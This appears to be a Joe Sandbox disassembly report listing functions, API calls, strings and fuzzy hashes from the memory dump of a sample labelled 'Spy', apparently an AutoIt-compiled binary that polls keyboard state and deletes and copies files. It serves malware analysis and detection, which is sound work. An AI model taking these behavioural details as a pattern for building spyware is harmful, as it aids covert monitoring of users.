Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: f45da88f257a7c2cea42ddd1d5f1cd8a1a148141604b6b599c5b21e54e1dd420
Instruction ID: a1d0915670c199780f843d40b73ed8735f2956b82015b6b6941eb7036d55cee9
Opcode Fuzzy Hash: f45da88f257a7c2cea42ddd1d5f1cd8a1a148141604b6b599c5b21e54e1dd420
Instruction Fuzzy Hash: 4C516271B10205AFDF18DF69CD89AAEBBB6EB88710F54812DF516D7290DBB0AD40CB50

Function 00A823F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00A81F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00A82412,?,00000000,?,?,?,?,00A81AA7,00000000,?), ref: 00A81F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00A824AF
KillTimer.USER32(-00000001,?,?,?,?,00A81AA7,00000000,?,?,00A81EBE,?,?), ref: 00A8254A
DestroyAcceleratorTable.USER32(00000000), ref: 00ABBFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00A81AA7,00000000,?,?,00A81EBE,?,?), ref: 00ABC018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00A81AA7,00000000,?,?,00A81EBE,?,?), ref: 00ABC02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00A81AA7,00000000,?,?,00A81EBE,?,?), ref: 00ABC04B
DeleteObject.GDI32(00000000), ref: 00ABC05D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 8e09a0afe9f8385a5d69fde51639adee5613eacb3ba7ab77e12ec6aaaf9c9f93
Instruction ID: 855b56e229e78838ccbc1b551019f69a53ac0c8b04908b493e9c0b83c536cec1
Opcode Fuzzy Hash: 8e09a0afe9f8385a5d69fde51639adee5613eacb3ba7ab77e12ec6aaaf9c9f93
Instruction Fuzzy Hash: 4361DA30164601DFCB25BF15CD48B7AB7F1FB41322F508929E4824BAA1CBB1AD90DFA0

Function 00A82581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00A829AB: GetWindowLongW.USER32(?,000000EB), ref: 00A829BC

GetSysColor.USER32(0000000F), ref: 00A825AF

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 9e402e4772f67a47f6915ac3a53356ce83794a34025210f8b5387e9244d7af9d
Instruction ID: 0677e9830392cd669a9e1d844be19174304c5cffbde23065dee6903d350382a8
Opcode Fuzzy Hash: 9e402e4772f67a47f6915ac3a53356ce83794a34025210f8b5387e9244d7af9d
Instruction Fuzzy Hash: B641D331000144AFDB247F289C88BF93B66FB0A331F584265FD669B1E6EB748D81DB21

Function 00A929BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00AA0B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00A92A3E,?,00008000), ref: 00AA0BA7

Part of subcall function 00AA0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00A92A58,?,00008000), ref: 00AA02A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00A92ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00A92C2C

Part of subcall function 00A93EBE: _wcscpy.LIBCMT ref: 00A93EF6

Part of subcall function 00AA386D: _iswctype.LIBCMT ref: 00AA3875

Strings

Bad directive syntax error, xrefs: 00AD008F
AU3!, xrefs: 00A92A93
Unterminated string, xrefs: 00AD00D6
Error opening the file, xrefs: 00ACFD33, 00ACFDAA
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00ACFD17
EA06, xrefs: 00ACFD48

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 616be62f3bc428525080f497d8ecb6ddb56cce0234bfcba433067856a7822df8
Instruction ID: 1874e6b1860507ebccfc4c52fc94275e3d4228f81597712d39478b6c76928b74
Opcode Fuzzy Hash: 616be62f3bc428525080f497d8ecb6ddb56cce0234bfcba433067856a7822df8
Instruction Fuzzy Hash: DD027031208341AFCB24EF24C991EAFBBF5AF99354F10491DF496972A2DB30D949CB52

Function 00AEAEEA Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00B10980), ref: 00AEAF4E
GetDriveTypeW.KERNEL32(00000061,00B3B5F0,00000061), ref: 00AEB018
_wcscpy.LIBCMT ref: 00AEB042

Strings

ramdisk, xrefs: 00AEAFC2
fixed, xrefs: 00AEAF96
unknown, xrefs: 00AEAFD9
removable, xrefs: 00AEAF80
network, xrefs: 00AEAFAC
all, xrefs: 00AEAF54
cdrom, xrefs: 00AEAF6A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 8e4236369f8198b05c28735d46c0b51bad1df232adb2d97a8f87f05154b4fe66
Instruction ID: e5123d016a4c9ac1416e57fe098715c425022d461096a7d9a302712894c5bea9
Opcode Fuzzy Hash: 8e4236369f8198b05c28735d46c0b51bad1df232adb2d97a8f87f05154b4fe66
Instruction Fuzzy Hash: 6451CC722183469FC710EF15CA91AABB7E5EFA4300F60481DF596472A2EB30ED09CB52

Function 00A84D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00A84D62
__swprintf.LIBCMT ref: 00A84DAC
__i64tow.LIBCMT ref: 00ABDB3B

Strings

True, xrefs: 00ABDAFC
0x%p, xrefs: 00ABDB1D
False, xrefs: 00ABDB03
%.15g, xrefs: 00A84DA6

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: d1300be563d487e402a7398863e9dece826598339aaa84948e7486728b553892
Instruction ID: 647a189cb234ec2b06067beb98cd595d71b373eb044ca6de6025f06d3c68e0db
Opcode Fuzzy Hash: d1300be563d487e402a7398863e9dece826598339aaa84948e7486728b553892
Instruction Fuzzy Hash: 3941B37160420AAFEB24EF78D941EAA77F8EB49340F20446EE549D7292EB3199418710

Function 00B07777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B0778F
CreateMenu.USER32 ref: 00B077AA
SetMenu.USER32(?,00000000), ref: 00B077B9
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B07846
IsMenu.USER32(?), ref: 00B0785C
CreatePopupMenu.USER32 ref: 00B07866
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00B07893
DrawMenuBar.USER32 ref: 00B0789B

Strings

F, xrefs: 00B07887
0, xrefs: 00B07785

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 7c7c8e5d684bb453cdf060b7f4e8d1851c4219e1ae8c4d84478cca2e3ed7aeec
Instruction ID: 8ddbb137d1f5af91eab640bffacb3079460eb9982a7cfa22b7d0da5128e8da6e
Opcode Fuzzy Hash: 7c7c8e5d684bb453cdf060b7f4e8d1851c4219e1ae8c4d84478cca2e3ed7aeec
Instruction Fuzzy Hash: 8F413974A00209EFDB10DF65D888A9ABBF5FF49310F1485A9F945A7390DB70AD10CF50

Function 00B07AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00B07B83
CreateCompatibleDC.GDI32(00000000), ref: 00B07B8A
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00B07B9D
SelectObject.GDI32(00000000,00000000), ref: 00B07BA5
GetPixel.GDI32(00000000,00000000,00000000), ref: 00B07BB0
DeleteDC.GDI32(00000000), ref: 00B07BB9
GetWindowLongW.USER32(?,000000EC), ref: 00B07BC3
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00B07BD7
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00B07BE3

Strings

static, xrefs: 00B07B1B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 26496bf6bcbed5d577e42a3aa6d9835f22b1d50cf374e72301d1cccac165b8fa
Instruction ID: 627961d14c9548f6b83d428f7812a069ba21897db7c948aa89ee0cd32981bae5
Opcode Fuzzy Hash: 26496bf6bcbed5d577e42a3aa6d9835f22b1d50cf374e72301d1cccac165b8fa
Instruction Fuzzy Hash: D2318A32104219ABDF11AF64DC49FDB7FA9FF09320F104255FA55A61E0CB75E860DBA0

Function 00AE9710 Relevance: 16.8, APIs: 11, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE951A: __time64.LIBCMT ref: 00AE9524

Part of subcall function 00A94A8C: _fseek.LIBCMT ref: 00A94AA4

_wcscpy.LIBCMT ref: 00AE9802
_wcscat.LIBCMT ref: 00AE9815
_wcscat.LIBCMT ref: 00AE9850
_wcscat.LIBCMT ref: 00AE9863

Part of subcall function 00AE9560: _memmove.LIBCMT ref: 00AE9599
Part of subcall function 00AE9560: _memmove.LIBCMT ref: 00AE95A8

_wcscmp.LIBCMT ref: 00AE97AA

Part of subcall function 00AE9CF1: _wcscmp.LIBCMT ref: 00AE9DE1
Part of subcall function 00AE9CF1: _wcscmp.LIBCMT ref: 00AE9DF4

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00AE9A0D
_wcsncpy.LIBCMT ref: 00AE9A80
DeleteFileW.KERNEL32(?,?), ref: 00AE9AB6
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00AE9ACC
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00AE9ADD
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00AE9AEF

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$_memmove$Copy__time64_fseek_wcscpy_wcsncpy
String ID:
API String ID: 3301145884-0
Opcode ID: 00c950891476e95335a80a55e033a9b169375aec3dd18adde21297a2aa8aae56
Instruction ID: 3095023f62ac59f50fe565d7bb0aae3c1f0f154f901b7a083ea9bab1da3feeb1
Opcode Fuzzy Hash: 00c950891476e95335a80a55e033a9b169375aec3dd18adde21297a2aa8aae56
Instruction Fuzzy Hash: B5C13BB1A00218AADF21DF95CD85EDFB7BDAF49340F0040AAF609E7151EB709A858F65

Function 00AA7030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AA706B

Part of subcall function 00AA8D58: __getptd_noexit.LIBCMT ref: 00AA8D58

__gmtime64_s.LIBCMT ref: 00AA7104
__gmtime64_s.LIBCMT ref: 00AA713A
__gmtime64_s.LIBCMT ref: 00AA7157
__allrem.LIBCMT ref: 00AA71AD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AA71C9
__allrem.LIBCMT ref: 00AA71E0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AA71FE
__allrem.LIBCMT ref: 00AA7215
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AA7233
__invoke_watson.LIBCMT ref: 00AA72A4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: b151e5df876914c4745625510b657f1ac2cd7745b371433e9031b2bef797cd9c
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: EF71D272A04716ABDB149F79CD81BAFB7B8AF16320F14422AF514E72C2E774DA448790

Function 00AE2CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AE2CE9
GetMenuItemInfoW.USER32(00B47890,000000FF,00000000,00000030), ref: 00AE2D4A
SetMenuItemInfoW.USER32(00B47890,00000004,00000000,00000030), ref: 00AE2D80
Sleep.KERNEL32(000001F4), ref: 00AE2D92
GetMenuItemCount.USER32(?), ref: 00AE2DD6
GetMenuItemID.USER32(?,00000000), ref: 00AE2DF2
GetMenuItemID.USER32(?,-00000001), ref: 00AE2E1C
GetMenuItemID.USER32(?,?), ref: 00AE2E61
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00AE2EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00AE2EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00AE2EDC

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 8858c905212af1af4760e7dec02058b49225e394307166a738d6ed37d4f0988c
Instruction ID: 6ceaef0477b98ad1a0e53d1e87785269083c37a7535ef611175946cd88650505
Opcode Fuzzy Hash: 8858c905212af1af4760e7dec02058b49225e394307166a738d6ed37d4f0988c
Instruction Fuzzy Hash: 7C61AAB0900299AFEF21DF66CD88AEEBFBDEB01304F144559F941A7251DB71AE45CB20

Function 00B07548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00B075CA
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00B075CD
GetWindowLongW.USER32(?,000000F0), ref: 00B075F1
_memset.LIBCMT ref: 00B07602
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B07614
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00B0768C

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: fb03cc28c621c4a122b5ab41814ace0a9efee35a3711ae8d8803b94dafe9d46c
Instruction ID: c4729f34c2894ba0344c44bd3b7a3fc152224e2045a7fdb489dbdff5f93cd4e2
Opcode Fuzzy Hash: fb03cc28c621c4a122b5ab41814ace0a9efee35a3711ae8d8803b94dafe9d46c
Instruction Fuzzy Hash: FC616F75944208AFDB10DF64CC85EEEBBF8EB09710F104195FA15A72E1DB70AE41DB50

Function 00AD77B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00AD77DD
SafeArrayAllocData.OLEAUT32(?), ref: 00AD7836
VariantInit.OLEAUT32(?), ref: 00AD7848
SafeArrayAccessData.OLEAUT32(?,?), ref: 00AD7868
VariantCopy.OLEAUT32(?,?), ref: 00AD78BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 00AD78CF
VariantClear.OLEAUT32(?), ref: 00AD78E4
SafeArrayDestroyData.OLEAUT32(?), ref: 00AD78F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00AD78FA
VariantClear.OLEAUT32(?), ref: 00AD790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00AD7917

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 6c6e9103dd8b4c16b54752c80708cf6f9f4e669e5832618072ebe741fde81d59
Instruction ID: fec05702a363486291d8a74a493e2352e44daccbd554f0e26a5e25e219a29b0e
Opcode Fuzzy Hash: 6c6e9103dd8b4c16b54752c80708cf6f9f4e669e5832618072ebe741fde81d59
Instruction Fuzzy Hash: DC415235A041199FCB04EFA4D8889EDBBB9FF48340F40C069E956A7361DB70AA85CF90

Function 00AE0508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00AE0530
GetAsyncKeyState.USER32(000000A0), ref: 00AE05B1
GetKeyState.USER32(000000A0), ref: 00AE05CC
GetAsyncKeyState.USER32(000000A1), ref: 00AE05E6
GetKeyState.USER32(000000A1), ref: 00AE05FB
GetAsyncKeyState.USER32(00000011), ref: 00AE0613
GetKeyState.USER32(00000011), ref: 00AE0625
GetAsyncKeyState.USER32(00000012), ref: 00AE063D
GetKeyState.USER32(00000012), ref: 00AE064F
GetAsyncKeyState.USER32(0000005B), ref: 00AE0667
GetKeyState.USER32(0000005B), ref: 00AE0679

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 9e58867c8c5ec4b98c52353e15eb6476534b77dcec92489642d98ade6125d252
Instruction ID: a8f861f2c5411b2feca859db13d38fa68a65b3c9dba653dbe9e8d158cd62b548
Opcode Fuzzy Hash: 9e58867c8c5ec4b98c52353e15eb6476534b77dcec92489642d98ade6125d252
Instruction Fuzzy Hash: 6541D7305047CA6DFF319B658804BB6BEA16B61304F48C05AD9C6575C2EBE899D8CFB2

Function 00AF8AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

CoInitialize.OLE32 ref: 00AF8AED
CoUninitialize.OLE32 ref: 00AF8AF8
CoCreateInstance.OLE32(?,00000000,00000017,00B13BBC,?), ref: 00AF8B58
IIDFromString.OLE32(?,?), ref: 00AF8BCB
VariantInit.OLEAUT32(?), ref: 00AF8C65
VariantClear.OLEAUT32(?), ref: 00AF8CC6

Strings

Invalid parameter, xrefs: 00AF8BE4
NULL Pointer assignment, xrefs: 00AF8B9D
Failed to create object, xrefs: 00AF8B63, 00AF8C19

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

